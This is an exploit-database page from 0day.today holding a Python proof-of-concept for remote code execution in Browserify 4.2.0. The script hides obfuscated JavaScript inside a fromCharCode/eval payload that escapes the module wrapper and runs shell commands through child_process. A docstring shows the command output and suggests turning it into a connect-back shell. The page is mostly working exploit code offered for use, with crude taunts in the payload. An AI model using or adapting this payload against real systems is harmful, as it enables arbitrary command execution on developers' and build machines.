[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Node Browserify 4.2.0 - Remote Code Execution Vulnerability

Author
Cal Leeming
Risk
[
Security Risk Critical
]
0day-ID
0day-ID-22442
Category
remote exploits
Date add
17-07-2014
Platform
multiple
#!/usr/bin/python
  
"""
Browserify POC exploit
 
http://iops.io/blog/browserify-rce-vulnerability/
  
To run, just do:
  
$ python poc.py > exploit.js
$ browserify exploit.js
BITCH I TOLD YOU THIS SHIT IS FABULOUS
[[garbage output]]
},{}]},{},[1]) 00:08:32 up 12:29,  3 users,  load average: 0.00, 0.02, 0.05
uid=1001(foxx) gid=1001(foxx) groups=1001(foxx),27(sudo),105(fuse)
  
You can also spawn() and create a connect back shell.
  
Enjoy
  
"""
  
def charencode(string):
    encoded=''
    for char in string:
        encoded=encoded+","+str(ord(char))
    return encoded[1:]
  
plaintext = """
   var require = this.process.mainModule.require;
   var sys = require('sys')
   var exec = require('child_process').exec;
   function puts(error, stdout, stderr) { sys.puts(stdout) }
   exec("uptime && id", puts);
   console.log("BITCH I TOLD YOU THIS SHIT IS FABULOUS");
"""
  
payload = charencode(plaintext)
final = "eval(String.fromCharCode(%s));" %(payload)
  
print "});"
print final
print "(function(){"

#  0day.today [2024-12-24]  #